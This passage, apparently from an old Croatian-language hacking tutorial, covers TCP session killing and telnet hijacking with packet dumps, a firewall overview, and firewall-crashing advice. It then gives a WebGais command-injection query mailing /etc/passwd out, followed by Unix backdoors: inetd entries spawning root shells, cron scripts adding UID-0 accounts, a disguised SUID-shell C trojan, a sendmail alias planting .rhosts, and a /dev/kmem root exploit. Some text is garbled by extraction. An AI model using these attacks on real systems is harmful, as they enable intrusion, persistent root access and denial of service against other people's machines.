0A . ~~~~~~~~~ > 2 data bytes 2) sniper ga je detektirao i salje lazni paket. (S as B -> A) Mi izracunaVamo nas SEQ kao: ACK of (A->B) packet IzracunaVamo i ACK kao : SEQ of (A->B) packet + datalength of that packet (19C6B98B + 2 = 19C6B98D) (Ovim smo rekli hostu A da smo poslali zadnji paket i da necemo slati vise) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---F Window: 7C00 3) host A sad kaze: 'okay, ti si zavrsio session, evo i moji zadnji paket' (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---- Window: 3400 4) host A now has flushed its buffer and on his turn FIN's the connection. (A->B) sniper, presrece ovaj paket i znamo da je killing bio uspjesan (host A vise nece prihvacati nikakve podatke) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---F Window: 3400 5) Mi smo lazirali B i on nezna da je connection prekinut i nastavlja slati pakete (B->A) Host A he zatvorio connection i misli da su podaci s hosta B lazirani ( ili samo pogresni)! pa host A salje neke RST pakete (RST). TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---- Window: 3750 TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D FLAGS: ---R-- 6) Ovo ide par puta... 4.4 Otimanje veze (da mi netko oce oteti telefonski racun i platiti ga....) ------------------------ Setup: host A <------X------------------------->host B | A,B imaju TCP connection (TELNET) host S <------/ A,S na istom subnetu Concept: ( TELNET od A (client) prema B (server)) TCP odvaja pravilne i nepravilne pakete prema njihovim SEQ/ACK brojevima primjer B prihvaca pakete koje je poslao A zato sto imaju ispravne SEQ/ACK brojeve. Zato ako postoji nacin da smuljamo A'ove SEQ/ACK, B ce prestati vjerovati A'u da salje pravilne pakete. Mi se mozemo predstaviti kao u A, koristeci pravilne SEQ/ACK brojeve (Ovi su brojevi pravilni za B). Mi cemo sad preoteti connection (host A je zbunjen u tri piksle marmelade, B misli da je sve u redu , a S salje 'pravilne' podatke prema B). Ovo se zove 'Hijacking' of connection. (Generalno preotimanje telnet sessiona, ali to isto moze biti napravljeno sa FTP-om ili RLOGINOM, etc...) Kako mozemo pokvariti A'ove SEQ/ACK brojeve? Pa zapravo vrlo jednostvanim umetanjem podataka u packetu streamu u pravo vrijeme (S kao A->B), server B ce prihvatiti ove podatke , i updejtati ACK brojeve, A ce nastaviti slati sa svojim starim SEQ brojem i bit nesvjestan spoofanih podataka. Use: Vec cujem pitanja raznih pametnjakovica: "Hey ZEX, zasto otimati connection kad mogu ovako i onako usnifati te pakete??" Pa jel itko od vas cuo za S/key passwde koji se samo jednom koriste?? Case closed.... (S/Key: server poziva klijenta, client i server izracunavaju code challenge i password, i usporeduju ta dva code. Password sam nije nikad poslan preko kabla , zato mosh usnifati sh!t). (OTP: server ima list passworda, jednom kad je passwd koristen biva unisten, stoga ti snifanje daje passwd koji je upravo istekao ;) (SVI tipovi identifikacije koji se dogadaju na connectionu (encryptirani ili ne, povjerljivi ili ne), ne koriste li enkripciju veze su osjetljivi i ranjivi na sniffanje.) Stvarni napad: (Ovo su pravi sniffani packeti, ali su IP brojevi od hostova promjenjeni) (TELNET od A (client) na B (server)) host A : 166.66.66.1 host B : 111.11.11.11 (S na istom subnet kao A) 1) connection running... Snifamo snifitiom i vidimo da je on zauzet radom u shellu pokrecemo 'hijack' na hostu S kao 'hijack 166.66.66.1 2035 111.11.11.11' paket (A->B) je detektiran... prelazi u akciju... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EA ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l ~~~~ 2) host B (server) shalje echo databytu (tipka 'l' u bash shellu!!!) (moras znati sto radis) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F6 ACK (hex): 5C8223EB FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB . 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l ~~~~ 3) Jednostavan ACK od hosta A prema B odgovara tom echu. Zato sto znamo da moze doci znamo da jednostavan ACK ne sadrzi podatke ne trebamo racunati SEQ/ACK. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -A---- Window: 7C00 4) Sad mi predstavljamo buduce podatke (slijedimo paket 1). (S kao A -> B) izracunaVamo SEQ/ACK od paketa 1, NE od echa od B, zato sto moramo biti maksimalno brzi a pkaet 2 moze kasniti. Posaljemo par backspaceova i par entera. da ocistimo komandnu liniju. Vjerojatno cemo dobiti neke error poruke od shella. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 0A . 0A . 5) Ovo je echo nashih spoofanih podataka. Pogledaj ACK. (B->A) 5C8223F5 = 5C8223EB + 0A (Ovako detektiramo da je spoof uspjeshan. NOTE Od sad na dalje ovo je nash connection, i A-ovi SEQ/ACK su kompletno sj3ban1 gledajuci s B-ove strane. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F7 ACK (hex): 5C8223F5 FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 . 50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A . 6) Hijack ce se sad pokusati vratiti na trag SEQ/ACK brojevima ponovo, da posalje podatke koje mi zelim executati na serveru. NOTE svaki put kad paket 'out of numbering' stigne host ce odgovoriti sa pravilnim SEQ/ACK, ovo nam daje priliku da lakse ponovo uhavtim SEQ/ACK, NOTE Ako je to bio dosita pravi TELNET session , vecina ce ljudi ignorirati ovo i ponovo se logirati nakon par sekundi prihvacajuci dogadaj kao Murphy-ev zakon. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 7) Ponovo smo na tragu (ili je hijack barem, zato sto se ovo dogada vrlo brzo. i mi dajemo nashu bash naredbu. echo "echo + +" >> $HOME/.rhosts TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223F5 ACK (hex): C34A680B FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23 45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B . 50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c 68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 . 8) sad cekamo da ovo bude potvredeno. ACK = 5C8223F5 + 025 (=37 bytes) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C82241A FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040 Dakle ovo je nasha mala sniffing skola stoga ljudi ako Vam je do snifanja preporucujem da stvite linux na svoje kante i sniffit obadvoje zajedno kosta 0 kuna. Ili kupite LAN analyzer za win32 koji dode oko 3500$. Sto Vam srcu draze... 19. Firewalli i sigurnost branjene mreze (My name is MERCEDES....) Da prvo rascitimo jednu stvar, niti jedan kompjuter na ovom svijetu bez obzira koji OS koristio koliko "dobre" passworde imao NIJE siguran od hackerskih napada. Jedino kad je kompjuter siguran je kad je zakopan 5 kilometara ispod zemlje u atomskom skolnistu hermeticki zatvoren u sef koji ima celicne zidove debele 2 metra, i da je u totalnom mraku, odvojen od bilo kakve vrste mreze ugasen i prekriven staklenim zvonom, i osiguran sa sezmickim alarmima, a mozda cak ni tada nije potpuno siguran...... Dakle sama rijec firewall je kod nas prevedena kao vatrozid, meni se ta rijec ne svida previse pa cu dalje u tekstu koristiti naziv firewall. Mnogi ljudi zele kupovati ili prodavati nesto preko interneta putem svojih kreditnih kartica, no oni zele biti sigurni da se nece naci neki "hacker" (RiNO dobar ti onaj applet za skupljanje brojeva credit kartica) koji ce im "dignuti" broj kreditne kartice ime prezime & etc i kupovati preko njihove kartice, da bi se hackere koliko toliko uspjesno onemogucilo u tom poslu neki drugi pametni ljudi su izmisliti te famozne firewallove kojima ja posvecujem citav jedan odlomak. Jer napadi na racunalne mreze su ionako precesti da bi ih bilo tko smio ignorirati. (DONT STOP) Jednostavna definicija firewalla bi bilo sljedeca: Firewall je skup mehanizama koji propustaju samo zeljeni promet izmedu dvije mreze ili cak dva kompjutera. Postoji vise vrste mehanizama prema kojima firewalli rade, prva vrsta radi na principu da presrece podatke koje razmjenjuju racunala koje firewall stiti i neka druga racunala. Dakle svaki paket koji prolazi kroz firewall se odskenira, rastavi i analizira i ako zadovoljava pravila koja je postavio administrator paket se propusta a ako ih ne zadovoljava odbacuje se i o tom paket se zapisuje log. Druga skupina se zasniva na principu proxya dakle postajanju meduaplikacije koja ne dopusta direktnu IP vezu, vec se ponasa kao kao posrednik za zahtjeve korisnika i stvara novu vezu do zeljenih resursa. Takoder nas ocekuju Mehanizmi za filtriranje paketa ili na engleskom packet-filter naprednija verzija mehanizma za filtriranje se naziva stateful inspection. Proxy mehanizmi se ovisno o tome na kojoj razini ISO OSI referentnog modela uspostavljaju vezu dijele na application level proxy i circuit level proxy. Takoder u firewall mogu biti ukonponirani i neki dodatni moduli kao sto su enkripcija podataka ili autentifikacija u obliku Virtual privan Networka i prevodenje mreznih adresa NAT (Network adress translation). Mehanizmi za filtriranje podataka rade na prncipu izvlacenja potrebitih podataka iz samih zaglavlja Ip paketa. Polja zaglavlja paketa koje filtar najcesce ima na raspolaganju su tip paketa (TCP, UDP,..) izvorisna IP adresa te izvorisni i odredisni TCP/UDP port. Osim u firewallovima filtriranje paketa je cesto implementirano i u routerima. Dakle sto je to stateful inspection??? (ovi pojmovi me ubijaju) Stateful inspection je naprednija verzija paket filtra jer poput njega takoder presrece sav promet, te ga propusta ili odbacuje na temelju predefiniranih pravila i onog sto paket ima u zaglavlju. Medutim velika je razlika u tome sto packet filtar provjerava pakete samo na network i transport razini OSI modela ti. na temelju podataka izvucienih iz zaglavlja TCP/UDP paketa, dok stateful inspection analizira vise podataka . Ideja statefull inspection mehanizma je da je ispitivanje paketa izoliranih od ostatka komunikacije nedovoljno te da se mora obavljati u sirem kontekstu kako bi se mogle donijeti kriticne sigurnosne odluke. Ispitivanje isreg konteksta se odnosi na na a) analiziranje svih komunikacijskih razina iz kojih se izvlace vazni podaci o vezi, komunikacijskom stanju i aplikaciji. b) Informacije dobivene od prijasnjih komunikacijskih veza, npr PORT izlazna naredba FTP komunikacije se moze pohraniti kako bi se ulazna FTP podatkovna veza mogla verficirati. c) Informacije dobivene od drugih aplikacija, npr. propusta se predefinirana vrsta prometa za korisnike, ciji je identitet prethodno provjeren ovisno o njihovim predefiniranim pravilima d) Manipuliranje informacija dobivenim od prethodna tri nacina. Pomocu gore navedengo stateful inspection moze rijesiti problmeme poput filtriranja UDP i RPC protokola. UDP protokol je tezak za filtriranje jer nema razlike izmedu zahtjeva i odgovora odnosno ne uspostavlja se veza. Kako je svaki UDP paketa zapravo sam za sebe, prije stateful inspection mehanizma problem sa UDP paketima se uglavnom rijesavao tako da se puste svi UDP paketi ili da se odbace svi paketi po nacelu svi za jednog jedan za sve. Komplikacija sa RPC-om je u tome da se ne koriste predefinirani portovi vec se dinamicki alociraju. Stateful inspection moze i RPC bazirane usluge osiguravati pohranjivanjem konteksta iz prethodne komunikacije. Aplication level proxy (Talk to me baby...) Sto zapravo Aplication level proxy radi i kako to radi??? Ova vrsta firewalla dopusta komunikaciju samo odredenih aplikacija sto znaci da ce firewall propustiti komunikaciju odredene aplikacije samo u slucaju da sadrzi specijalizirani program za tu aplikaciju. Takav program za jednu aplikaciju se naziva proxy usluga i sastoji se od posluzitelja i klijenta. Kada do firewalla s aplication level proxy-em dodu paketi neke aplikacije firewall ce u slucaju da sadrzi potrebnu uslugu otvoriti novu vezu prema pravom odredistu novopridoslih paketa ako ti paketi zadovoljavaju predefinirane uvjete. Ako ih nezadovoljavaju ili firewall nema tu proxy uslugu paketi se ODBACUJU. A Sto je to zaboga miloga NAT (Network adres translation) (Prevedi me zedna preko vode) Prevodenje IP adresa je u pocetku zamisljeno kao kratkorocno rijesenje za rastuci problem nedostatka IP adresa a ne kao sigurnosni mehanizma. No ipak ljudi koji su odredivali sve vezano uz NAT su se sjetili da bi mehanizam za prevodenje adresa mogao sakrivati adrese unutarnje mreze kojoj prevodi adrese. Tako IP adrese lokalne mreze ili LAN (Local Area Network) nisi vise javno poznate. Mehanizam za prevodenje mreznih adresa sadrzi tabelu sa parovima adresa: slokalnom IP adresom i odgovarajucom globalnom jedinstvenom IP adresom. Svim paketima koji izlaze iz lokalne mreze mehanizam za prevodenje mreznih adresa lokalnu adresu u pridruzenu globalnu. A svim paketima koji koji ulčaze u lokalnu mrezu NAT mehanizam mjenja globalnu IP adresu u lokalnu. Mehanizam za prevodenje mreznih adresa moze raditi na dva nacina: dinamicki i staticki. Dinamicki nacin rada znaci da se asocijacija IP adresa mjenja, odnosno da do pridruzivanja dolazi u trenutku potrebe. To jest kada se ostvaruje veze prema vanjskoj mrezi. Dinamicki nacin rada moze koristiti samo jednu globalnu IP adresu. U tom slucaju mehanizam za prevodenje mreznih adresa sve unutarnje adrese preslikava u tu jednu IP adresu. Dinamicki nacin rada moze koristiti i rang globalnih IP adresa. A nakon ovog finog teoretskog objasnjena posvetimo se nacinima za rusenje firewalla i prolaska kroz njih... The AGRRESSOR by (Dop dop doPIIIIIIIIING) Decki koji su napravili ovaj "mali" korisni programcic su zapravo skupina programera iz Turske koji nisu imali pametnijeg posla za raditi pa su sjeli i napisali par zgodnih funkcijica za ovaj program (oni takoder vele da vole pokazati ljudima da svi programcici koji su napisani za unix mashine i koji krse druge mashine mogu se savim fino isprogramirati i na WINDOWS masinama) koji ima mogucnost za pluginove i slicno... Ovaj program cete naci na adresi http://www.aggressor.net kao i gomilu zgodnih pluginova za njega... Ali uvijek se nade neki zgodni ali decki bi voljeli da im se plati za trud koji su oni ulozili za okolna hackiranja i oni tako traze za svoj programcic niti manje niti vise nego 200$ dolara za osnovnu verziju i 2000$ za profi verziju koja je obogacena nekim zgodnim dodacima... Ono sto cete dobiti u demo verziji da budemo iskreni nije niti "horse shit" jer su sve dobre stvari dostupne tek nakon sto uplatite odgovarajucu kolicinu zelenbaca drugovima iz Turske. Uglavnom tko voli nek izvoli.. Ono sto u vecini slucajva rusi i krsi firewall-e us programi koji salju gomilu udp paketa firewallu sa razlicitim izvorisnim IP adresama portovima... i slicnim jedan od zgodnijih programa koje sam ja vidio da skidaju neke malo "jace i vece" firewalle poput CARNet-ovog ili Plivinog je ssping ili naravno mozete uvijek uzeti grasu i razoriti kompletan LAN neke firme. Ono sto se dogada nakon sto se firewall smrzne u vecini slucajeva je da paketi prolaze kao da i ne postoji firewall dakle sve ide i unutra i van, ili u gorem slucaju da nista ne ide niti unutra niti van, tada ste DoS-ali cijelu mrezu. Odnosno onemogucili ste joj komunikaciju sa vanjskim svijetom. Dakle ako Vam se rusi neki firewall kupite aggressora ili MUERTE mozda cak DoS panthern modern attack ili na kraju krajeva Internet Security scanner i raspali. Preporuka: Ako Vam je stalo da zastite svoju kantu doma sa nekim firewallom za windose (ovo nije definitivno firewall s kojim cete stiti cijelu svoju firmu nego stvar "za po doma") onda preporucan Conseal signal 9 firewall dobra stvar za windose mocna u svakom slucaju ima crackova za nju i daje solidnu zastitu mozete je skinuti sa http://www.signal9.com. 20. WebGais (trazi trazi pa ces naci) WebGais je sucelje za GAIS alat za trazenje (web search). On instalira par programa u /cgi-bin. Glavni program se zove "webgais" i on zapravo predstavlja stvarno sucelje prema alatu za trazenje. On cita upite od user forme, i onda pokrece GAIS search engine za taj upit. Autori su pokusali zastiti program koristeci jednostruke navodnike oko upita kad on prelazi u "system" command. ALI su zaboravili jednu VRLO vaznu stvar: da uklone jendostruke navodnike u upitu. Pa ako se nade neki mudrijas pa napise na www.hinet.hr trazili nesto ovakvo: query=';mail+zex@oberon.net> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # ili sto god je bilo prije rm ./xa* ./temppass echo Done... NIKAD, AMA BAS NIKAD, ne mjenjajte rootov passwd. Razlozi su ociti.. [2] Lakse je naci neku napusteni acc duboko u passwd fileu promjeni mu uid u 0 i makni '*' iz drugog polja. [3] Ostavi SUID root shell u /tmp. #!/bin/sh # svatko ima svoje favorite... cp /bin/csh /tmp/.zexshell # Nemoj ga zvati ovako... chmod 4755 /tmp/.zexshell Vecina sistema ima cron koji ocisti /tmp svaki dan. Vecina sistem cisti /tmp kad se reboota. Mnogi sistemi imaju /tmp mountan da nedozvole pokretanje SUID programa. Vi mozete promjeniti sve ovo , ali ako se filesystemn pocne puniti... Ljudi cemozda primjetiti...ali, hey, ovo *je* proba..). necu specifirati detalje jer se oni ralikuju od sistema do sistema. Uglavnom check out /var/spool/cron/crontabs/root i /etc/fstab. Aloha [4] Super-server configuration file nije prvo mjesto gdje ce sysadmin pogledati, pa zasto ga ne staviti tamo? prvo, neki background info: Internet daemon (/etc/inetd) slusa connection zahtjeve na TCP i UDP portovia i uplice odgovrajaci program (obicno server) kada stigne zahtjev za connectionom. Format od /etc/inetd.conf filea je jendostavan. Tipicna linija izgleda ovako: (1) (2) (3) (4) (5) (6) (7) ftp stream tcp nowait root /usr/etc/ftpd ftpd talk dgram udp wait root /usr/etc/ntalkd ntalkd Polje (1) je ime daemona koje se pojavljuje u /etc/services. Ovo govori inetd sto da trazi u /etc/services i koji port da asocira sa kojim programom (2) kaze inetd koji tip veze da ocekuje. TCP koristi streams, a UDP koristi datagram. (3) Je polje od protokola moze biti jedno od dvoje transport protocols, TCP ili UDP. (4) specifira jeli ili nije daemon iterative ili concurrent. (5) je korisnik (ili josh vaznije, UID) koji pokrece daemona (6) je program koji se pokrece kad dode do connectiona. (7) je stvarna naredba (i opcionalčni argumenti). Ako je program trivijalan (obicno ne zahtjeva interakciju s korisnikom) inetd moze rukovati s njim intereno. Ovo se oznacava internim flagom u polju (6) i (7).Dakle da instalirate neki backdoor izaberite service koji nije cesto korsiten i zamjenite daemona koji normalno koristi s necim drugim. Recimo s programom koji je SUID shell ili programomo koji dodaje root acc za tebe u /etc/passwd i slicnim. Za foru probaj ovo: Otvori /etc/inetd.conf u dostupnom editoru. Pronadi liniju u kojoj pise: daytime stream tcp nowait root internal i promjeni je u: daytime stream tcp nowait /bin/sh sh -i. Trebat ce te restarti /etc/inetd tako da ponovo procita config file. Na Vama je da odlucite kako ce te ucinit ovo, Mozete ubiti i restartati proces (kill -9 , /usr/sbin/inetd ili /usr/etc/inetd) to ce ubiti SVE network connectione (ako ovo vec radite onda to raditi u sitne nocne sate kad nema ircera i mudera na masinama). [5] Mozete takoder postaviti nove daemon koji ce pokretati program koji vi zelite. jedno jednsotavno rijesenje je da postavite shell koji ce se pokrenuti. Trebate biti sigurni da ono sto pise u /etc/services pise i u /etc/inetd.conf. The format od /etc/services filea je jendostavan: (1) (2)/(3) (4) smtp 25/tcp mail Polje (1) je service, polje (2) je broj porta, (3) je tip protocola koji service ocekuje, i (4) je neko ime koje znaci nesto ljudima. naprimjer dodajte ovo polje u /etc/service evil 8742/tcp zlocesto i ocu liniju u /etc/inetd.conf: zlocesto stream tcp nowait /bin/sh sh -i Restartajte inetd kao i prosli put. Note: Potencijalno, ovo su VRLO mocni backdoorovi. Oni ne samo da omogucavaju ulazak na rootov acc na sistemu neko nude ulazak na rootov acc na sistemu sa bilo kojeg drugog ac na bilo kojem drugom kompjuteru na svijetu. [6] Cron-bazirani trojani I. Cron divna system administration igracka. Takoder je predivna igracka za backdoorove, jer ce root-ov crontab biti pokrenut kao root... Opet kazem to zavisi od iskustva admina i implementacije. U /var/spool/cron/crontabs/root je root-ova lista crontab. Ovdje imate par opcije. Ja cu Vam pokazati samo par, kao cron-baziranih backdoora sve ostalo je ograniceno samo vasom mastom. Cron je sat daemon. To je alat za automatsko izvrsavanje naredbi u specifirano vrijeme i datum. Crontab je naredba kojom se koristite da dodate ili mjenjate as crontab file. zapravo je vrlo lako editirati /var/spool/crontab/root file isto kao i koristiti crontab. A crontab ima 6 polja: (1) (2) (3) (4) (5) (6) 0 0 * * 1 /usr/bin/updatedb Polja (1)-(5) su sljedec: minute (0-59), sati (0-23), dan u mjesecu (1-31) mjesec u godini (1-12), dan u tjednu (0-6). Polje (6) je naredba (ili shell scripta) koja se izvrsava. Donja shell scripta se izvrsava ponedjeljkom. Da zeznete cron, jednostavno dodajte entry u /var/spool/crontab/root. Na primjer: Mozete postaviti crontab entry koji ce svaki dan dodavati u /etc/passwd file acc sa UID 0 ili ako vec postoji taj acc nece uciniti nista. Dodajte ovu liniju u /var/spool/crontab/root: 0 0 * * * /usr/bin/trojancode Ovo je shell script: #!/bin/csh # jel nas evil user jos na systemu? Potrudimo se da bude... #zexbig@usa.net set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Je li tu? set linecount = `wc -l /etc/passwd` cd # Radite ovo kod kuce cp /etc/passwd ./temppass # Sigurnost prvo. @ linecount[1] /= 2 @ linecount[1] += 1 # zelimo samo dva temp filea split -$linecount[1] ./temppass # passwd string optional echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd # ili sto god je bilo prije rm ./xa* ./temppass echo Done... else endif [7] Cron trojan II. Ovo u orginalu potjece od dragog Mr. Zippy. Za ovo trebate kopiju /etc/passwd skrivenu negdje. U ovom skrivenom passwd fileu (nazovimo ga /var/spool/mail/.sneaky). Ovo pokrece cronjob koji ce, svako jutro u 2:30 spremiti i kopirati pravi /etc/passwd file, i instalirati ovaj trojan kao pravi /etc/passwd file za jendu minutu (uskladi sat!). Svaki nromalni user koji se proba logirati u to vrijeme dobit ce error. Ali minutu kasnije, sve ce biti ok. Dodajte ovu liniju u root-ov crontab file: 29 2 * * * /bin/usr/sneakysneaky_passwd i budite sigurni da ovo postoji: #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky A ovo je jednostavan shell script: #!/bin/csh #Inszalira trojana i makne ga u minuti #zexbig@usa.net cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd [8] Compajlirani code trojan. Jednostavana ideja. Umjesto shell scripte, stavimo malo finog C code da zbunim nekoga. Evo ga. Pazi da ga pokrenesh samo kao root. Nezovite ga nekim nevinim imenom. I dobro ga sakrij. /* trojan koji daje SUID root shell, ako su uneseni pravi argumenti /* C code, */ /* daemon9@netcom.com */ #include #define KEYWORD "industry3" #define BUFFERSIZE 10 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ /* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&"); */ for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("\nDone.\n"); return(0); } /* End main */ [9] Ovo je sendmail aliases file.Samo dodajte ovu liniju. "decode: "|/usr/bin/uudecode" u /etc/aliases file. Obicno ce kreirati uuencodec .rhosts file sa sakrivenim fullpathom. #! /bin/csh # Kreira nas .rhosts file. Ovo ce biti output u stdout. echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts Nakon tog telnet na zeljeni site port 25. jendostavni fakemail da dekodira i koristi subject body, uuencoded verzija od .rhosts file. Za jednu liniju (nije fejkana,) pisi ovo: %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com The Covert [10] Trojan code u normalnim programima. Ovo je opaka metoda koju detektiraju samo programi kao sto je tripwire. Ideja je jednostavna: unesimo trojan code u source nekog normalnog programa. Najkoriniji programi u ovom slucaju su: su, login, i passwd zato sto oni vec pokrenu SUID root i netrebaju permissione i modifikacije. Ispod su neki generalani primjeri get input; if input is special hardcoded flag, spawn evil trojan; else if input is valid, continue; else quit with error; ... Nije kompleksno niti tesko. Trojan ove prirode moze biti napravljen u manje od 10 linija coda. [11] /dev/kmem exploit. Predstavlja virtual systema. posto kernel drzi parametre u memoriji moguce je modificirati memoriju mashine da promjeni UID naseg procesa. Da bi to mogli napraviti /dev/kmem mora imati read/write permision Dogada se sljedece: Otvaramo /dev/kmem device, trazimo svoju stranicu u memoriji, prebrisemo UID svog procesa tada pokrenemo shell, koji ce imati UID 0. /* u orginalu iz "UNIX security: A practical tutorial" sa nekim modifikacijama by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } [12] Posto ovaj kod 